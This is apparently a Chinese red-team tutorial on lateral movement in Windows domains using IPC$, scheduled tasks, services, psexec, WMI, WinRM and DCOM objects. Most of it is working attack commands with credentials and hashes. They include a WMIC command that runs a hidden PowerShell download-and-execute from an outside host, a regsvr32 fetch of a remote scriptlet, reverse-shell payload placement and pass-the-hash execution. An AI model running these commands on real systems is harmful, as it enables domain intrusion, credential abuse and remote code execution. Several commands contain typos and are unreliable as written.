前言
域内横向移动技术是红队作战在域内最基本技术之一,红队人员会利用该技术,以被攻陷的系统为跳板,通过已经收集的凭据和密码,来访问域内其他主机,扩大战果,最终目的是获取到dc的访问控制权限。
实操
1.IPC
IPC(共享命名管道),其作用是为了实现进程间通信而开放的命名管道。IPC可以通过用户名和密码建立IPC链接,获取相应的用户权限。
目标机应开放139和445端口,以支持实现远程登陆和默认共享资源的访问
首先需要在跳板机和目标机建立ipc连接。
建立IPC连接:
net use \\192.168.75.131\ipc$ "123456" /user:administrator
查看当前IPC连接:
net user
然后执行命令:
dir \ \\192.168.75.131\c$
有了权限,下一步就是拿shell了
1.1 at计划任务拿shell(管理员权限)
因为要设置计划任务,可能需要对照时间:
net time \\\192.168.75.131#当前系统时间
复制文件到目标机上:
copy Gamma.bat \\\192.168.75.131\c$
# bat里面放入反弹shell的powershell命令,或者其它。
在目标主机上创建用户:
at \\\192.168.75.131\ 5:00PM c:\Gamma.bat Added a new job with job ID=10
反弹成功后记得清除计划任务:
at \\\192.168.75.131 10 /delete
1.2 Schtasks
at 命令在windows2008以后的版本就被废除了,这时候就用schtasks命令来代替,
还是老规矩上传脚本到服务器,或者直接上传木马也行。
然后创建计划任务
schtisks /create /s 192.168.75.131 /tn Gamma /sc onstart /tr c:\gamma.exe /ru system /f
但也有些时候,由于当前权限或组策略设置等原因,该schtasks方法远程创建计划任务可能会报错拒绝访问:遇到这种情况,我们可以加上/u和/p参数分别设置高权限用户名和密码,如下:
schtasks /create /s 192.168.183.130 /u administrator /p Liu78963 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
然后执行如下命令立即运行计划任务(也可以自己等一分钟):
schtasks /run /s 192.168.75.131 /i /tn backdoor
// i:忽略任何限制立即运行任务schtasks /run /s 192.168.183.130 /i /tn backdoor /u administrator /p 0XAXSDD //
遇到上面所说的报错时执行加上/u和/p参数分别设置高权限用户名和密码
1.3 创建Windows服务来进行横向渗透
依赖条件:
当前跳板机用户具有管理员权限(因为要创建服务)
与目标机器已经建立ipc连接
利用SC命令
在windows系统命令提示符中,有一个SC工具命令集。该工具集主要用来对操作系统服务进行管理,该命令是由service一词,简化而来的。我们可以用sc对目标主机远程创建服务来进行横向渗透。使用sc命令远程Windows服务操作需先建立IPC$连接,否则在执行时会返回拒绝访问。
流程基本如下:
- 先让跳板机与内网目标机DC建立ipc连接。
- 然后让跳板机使用copy命令远程操作,将metasploit生成的payload文件Gamma.exe复制到目标主机DC系统C盘中。
- 再在目标主机DC上创建一个名称为“backdoor”的服务。命令如下:
sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建计划任务启动程序
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\Gamma.exe"
4.立即启动该服务:
sc \\WIN-ENS2VR5TR3N start bindshell
5.使用完后删除刚才创建的服务
sc \\[host] delete [servicename]
1.4 工具
PSEXEC:
*msf windows/smbexec
*msf admin/smbexec_command
*impacket psexec
需要远程系统开启admin$(打了kb2871997情况下)共享,建立IP超链接后可以不指定用户名和密码,不能仅拷贝文件不执行,拷贝时可以建立ipc连接后拷贝在启动psexec建立连接后,远程系统上会被安装psexecsvc服务,安装服务会留下日志。
执行原理:
1.通过ipc$连接,copy psexecsvc.exe到目标机器
2.通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
3.客户端连接执行命令,服务端启动相应的程序并执行回显数据。
4.运行完后删除服务。
使用:
第一步先建立IPC共享
第二步使用psexec进入半交互式sell
psexec.exe \\\192.168.0.1 cmd
可以直接一步搞定
psexec.exe \\10.10.10.10 –u administrator –p password
wmiexec
impacket wmiexec
powershell invoke-wmiexec
pth-wmic
exe
wmi全称是Windows management instrumentation,它出现在所有的Windows操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的Windows系统,攻击者使用wmi来进行攻击,但Windows系统默认不会再日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。
而wmiexec是模拟psexec功能的vbs脚本
执行原理:
1.WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机。
2.如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。
3.WMI会建立一个共享文件夹,用于远程读取命令执行结果。
4.当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。
5.通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。
6.当结果读取完成时,调用WMI执行命令删除结果文件,最后当WMIEXEC退出时,删除文件共享。
使用:
获取半交互式shell
cscript.exe wmiexec.vbs /shell 192.168.75.1 username password
cscript.exe wmiexec.vbs /shell 192.168.75.1 doamin\username password
直接执行命令:
cscript.exe wmiexec.vbs /cmd 192.168.75.1username password “whoami”
如果只拿到hash的情况下:
cscript.exe wmiexec -hashes :$HASH$ hostname/administrator@192.168.75.131
cscript.exe wmiexec -hashes :$HASH$ domain/administrator@192.168.75.131 "whoami"
cscript.exe wmiexec -hashes :$HASH$ administrators@192.168.75.131 "whoami"
如果嫌弃每次都要输入hash密码很麻烦,可以用wce 将hash注入到本地的认证进程lsass.exe中去,然后直接:
wmiexec.vbs /shell 192.168.75.131
SCShell
SCShell是无文件横向移动工具,它依赖ChangeServiceConfigA来运行命令,该工具的优点在于它不会针对SMB执行身份验证,一切都通过DCERPC执行,无需创建服务,而只需通过ChangeServiceConfigAAPI 远程打开服务并修改二进制路径名即可(所以要事先知道目标上的服务名称,支持py和exe两种文件类型)。
github地址:https://github.com/Mr-Un1k0d3r/SCShell
Usage:
SCShell.exe target service payload domain username password
远程执行:
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password
#依赖:pip install impacket
python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
#使用标准传递哈希方法设置当前流程令牌。
sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe
2.WMI
WMI是一项核心的Windows管理技术,WMI作为一种规范和基础结构,通过它可以访问、配置、管理和监视几乎所有的Windows资源,比如用户可以在远程计算机器上启动一个进程;设定一个在特WMI允许脚本语言(例如VBScript或Windows PowerShell)在本地和远程管理Microsoft Windows 个人计算机和服务器,支持账户密码或hash认证。
利用条件
1.目标开放135端口
2.1WMIC
WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批命令脚本执行系统管理的支持。
这种方式执行命令无回显,但用来执行木马搓搓有余。
wmic /node:192.168.75.131 /user:administrator /password:123456 process call create "c:\windows\temp\Gamma.exe"
执行powershell远程下载木马执行:
wmic /NODE:192.168.75.131/user:"administrator" /password:"123456" process call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.3.86:80/a'))\""
如果要使用hash,直接wce注入到当前内存就行
还可以通过生成恶意的msi文件,通过共享上传到目标机器,然后安装:
net use \\\192.168.1.105\c$ /user:administrator@ignite.local; copy C:\raj.msi \\192.168.1.105\c$\PerfLogs\setup.msi ; wmic /node:192.168.1.105 /user:administrator@ignite.local product call install PackageLocation=c:\PerfLogs\setup.msi
2.2 工具
WMIcmd(主要用于工作组横向移动)
WMIcmd需使用-的、参数指定域或计算机名
MIcmd.exe -h 192.168.75.131 -u administrator -p 123456 -d Gamma -c "ipconfig"
Invoke-WMIExec.ps1
Invoke-WMIExec -Target 192.168.75.131 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
Invoke-WMIExec -Target 192.168.75.131 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command" -verbose
wmiexec.py
#工作组
python wmiexec.py -hashes 518b98ad4178a53695dc997aa02d455c administrator@1192.168.75.131 "whoami"
#域用户
python wmiexec.py -hashes 518b98ad4178a53695dc997aa02d455c 域名/administrator@192.168.75.131 "whoami"
3.winRM
WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议[SOAP]的 “防火墙友好” 协议,它让来自不同供应商的硬件和操作系统能够互相操作。
winRM的默认端口为5985(http)或5986(https)。
利用条件:
1、在win 2012之后(包括win 2012)的版本是默认开启的,win 2012之前利用需要手动开启winRM。
2、防火墙对5986、5985端口开放。
3、被横行主机信任网络中的主机(Set-Item WSMan:localhost\client\trustedhosts -value *,或直接指定信任单个主机)
查看本地是否运行winRM服务
netstat -ano |findstr 5985
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
检测哪些主机被信任:
Get-Item WSMan:\localhost\Client\TrustedHosts
利用powershell对主机建立PSRemoting会话
#powershell
New-PSSession -ComputerName hostname -Credential (Get-Credential)
#或者直接命令
Invoke-Command <host> -Credential $cred -ScriptBlock {Hostname}
#如果当前内存中没有凭证,则可以输入凭证
Enter-PSSession <host> -Credential <domain>\<user>
#使用kerberos协议认证
Enter-PSSession <host> -Authentication Kerberos
#上传文件
Copy-Item -Path C:\Temp\PowerView.ps1 -Destination C:\Temp\ -ToSession (Get-PSSession)
#下载文件
Copy-Item -Path C:\Users\Administrator\Desktop\111.txt -Destination C:\Temp\ -FromSession (Get-PSSession)
#进入会话
Enter-PSSession 1
1.使用winrs.exe来执行远程命令利用(使用这个工具需要明文密码)
Winrs.exe 是一个内置的命令行工具,它允许远程命令的执行在WinRm的适当的有资格的用户。命令支持各种开关以及使用备用凭据进行身份验证的能力。
winrs /r:https://contoso.com /t:600 /u:administrator /p:$%fgh7 ipconfig
2.Winrm.vbs(通过Winrm.cmd调用)
Winrm.vbs是一个Visual Basic脚本,允许管理员“配置WinRM并获取数据或管理资源”
是基于WinRM脚本API,而这个api使我们使能够从远程计算机执行WS-Management协议操作和获得数据。
我们可以利用一个非常著名的WMI类,Win32_Process,可通过利用来生成(远程)进程执行命令。
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad"} -r:corp-dc
3.上线cs
在cs中有winrm的横向方法,利用成功会自动返回一个会话,当然如果不出网的话我们就需要借助cs中的一个中转手法。
winrm x86 Run a PowerShell script via WinRM
winrm64 x64 Run a PowerShell script via WinRM
无法访问的情况
WinRM服务将在Windows Server 2008和更高版本上自动启动(在windows ows vista中,需要手动启动该服务)。
默认情况下,未配置WinRM侦听器。即使WinRM服务正在运行,也无法接收或发送请求数据的WS-Management协议消息。
Internet连接防火墙(ICF)阻止访问端口。
4.使用COM对象进行横向
DCOM是COM(组件对象模型)的扩展,它允许应用程序实例化和访问远程计算机上COM对象的属性和方法,就像使用基于DCERPC的DCOM协议在本地计算机上的对象一样,有关每个COM(和DCOM)对象的标识,实现和配置的信息存储在注册表中,并与一些重要的标识符相关联:
CLSID -所述类标识符是一个GUID,它充当一个COM类的唯一标识符,并且每一个在Windows注册类与CLSID相关联(COM对象可以在没有登记使用,但是这超出了本文的范围) 。注册表中的CLSID密钥指向类的实现,如果是基于dll的对象,则使用InProcServer32子项;如果是exe ,则使用LocalServer32项。
ProgID -该编程标识符是一个可选的标识符,其可被用作对用户更友好的替代一个CLSID,因为它不必是一定要GUID格式(“System.AppDomainManager”,例如,是比GUID容易得多)。ProgID不能保证是唯一的,并且与CLSID不同,并非每个类都与ProgID相关联。
AppID -该应用程序标识符用于指定一个的配置或多个COM对象与同一可执行相关联。这包括授予各个组的权限,以在本地和远程实例化和访问关联的类
为了使DCOM可访问COM对象,必须将AppID与该类的CLSID关联,并且需要为该AppID提供适当的权限。没有关联的AppID的COM对象不能从远程计算机直接访问。
在powershell中我们可以使用
get-CimInstance来列出本地COM程序列表
远程DCOM对象的实例表现如下:
客户端计算机从远程计算机请求实例化由CLSID表示的对象。如果客户端使用ProgID,则首先将其本地解析为CLSID。
远程计算机检查是否存在与所讨论的CLSID关联的AppID,并验证客户端的权限。
如果一切顺利,则DCOMLaunch服务将创建所请求类的实例,通常是通过运行LocalServer32子项的可执行文件,或者通过创建DllHost进程来承载InProcServer32子项引用的dll。
在客户端应用程序和服务器进程之间建立通信。在大多数情况下,新过程是在与DCOM通信关联的会话中创建的。
然后,客户端可以访问新创建的对象的成员和方法。
利用思路就是找到一些默认权限(DefaultLaunchPermission)的COM程序来进行利用
1.使用EXCEL DDEß
利用:
第一步,创建对象的实例,使用ProgID
$a = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.75.130"))
第二步,实现执行命令:
$a.DisplayAlerts = $false //DisplayAlerts属性控制DDEInitiate提出的警报。false为关
$a.DDEInitiate("cmd","/c calc,exe")
2.MMC20.APPLICATION
创建MMC20.Application 对象的实例:
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application" ,"192.168.75.130")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")
3.SHELLWINDOWS
创建ShellWindows对象的实例:
$a = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.75.130")) | Get-member
使用“ Document.Application”属性的“ ShellExecute”方法运行任意命令:
$a = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.75.130")).Document.Application.ShellExecute("cmd.exe","/c clac.exe"."c:\windows32\system",$null,0)
说明:
与大多数其他方法不同,ShellWindows不会创建进程。相反,它会激活现有explorer.exe进程内部的类实例,该进程执行子进程。为了进行通信,主机explorer.exe在DCOM端口上打开了一个侦听套接字,该套接字应明确标记此技术。
4.SHELLBROWSERWINDOW
首先创建ShellBrowserWindow对象的实例:
复制GUID
$a = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.75.130"))
我们再次能够通过“ Document.Application”属性的“ ShellExecute”方法运行命令:
$a = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.75.130")).Document.Application.shellExecute("calc.exe")
与ShellWindows一样,此方法由现有的explorer.exe进程托管,再次具有带有监听套接字的explorer.exe进程的指示器。
5.VISIO ADDON EXECUTION
虽然不是默认Office安装的一部分,因此没有普及,但Visio提供了可用于横向移动的DCOM对象。
创建Visio对象的实例。这可以通过Visio.Application ProgID或通过Visio.InvisibleApp ProgID完成:
这里使用的是ProgID
$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.75.130"))
Visio插件可以实现为独立进程,并且Visio允许将任何可执行文件作为自定义插件加载。这可以用来执行命令:
$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.75.130")).[0].document.app;ication.shellExecute("calc")
注意:
目标主机中安装有Visio才能成功利用。
6.Outlook
在Outlook对象允许实例化和任意COM相互作用通过“创建对象”对象方法。这使攻击者可以与远程计算机上的COM对象进行交互,这些对象通常不会由DCOM公开。
创建Outlook对象的实例
$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","192.168.75.130"))
可以通过Outlook创建Shell.Application对象来实现命令行执行:
$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","192.168.75.130")) .createObject("Shell.Application")
$a.shellExecute(calc.exe)
该命令作为Outlook的直接子进程运行。
注意:
可以将“ Shell.Application”(已加载的shell32.dll中实现)对象替换为“ Wscript.Shell”.
7.Excel XLL (Excel进程加载恶意的DLL)
XLL库可以扩展Excel,XLL库只是导出特定功能的DLL。Excel.Application对象通过RegisterXLL方法利用此功能。
$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.APPLICATION","192.168.75.130"))
.RegisterXLL("我们的恶意DLL路径")
8.任意脚本执行
通过CreateObject和ScriptControl执行OutlookScript
使用Outlook访问ScriptControl COM类,攻击者(我们)可以利用该字符串运行以字符串格式提供的脚本:
$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","192.168.75.130")) .CreateObject("b")
$b.language = "VBScript"
$b.AddCode('CreateObject("Wcript.Shell").Exec("Calc.exe")')
ScriptControl对象是在msscript.ocx中实现的,很少使用,并且合法地加载此对象的Outlook实例是极为罕见的现象。此外,我们可以将加载jscript.dll或vbscript.dll来运行脚本本身。
限制:
ScriptControl对象仅在32位版本中可用。由于64位进程无法加载32位inproc对象,因此64位Outlook无法与该对象进行交互。
Visio对象提供了一种直接方法,可以使用“ ExecuteLine”方法从字符串运行VBA的任何代码:
$a = [activator]::CreateInstance([type]::GetTypeFromProgID("a.invisibleapp","192.168.75.130"))
$b = $a.documents.Add("")
$b.Executeline('CreateObject("wscript.Shell").exec("calc.exe")')
VBE7.dll和ScrRun.dll已加载到Visio进程中
注意:
ExecuteLine方法仅允许执行一行代码。通过使用冒号(:)符号将语句分隔在一行上,可以绕过此操作。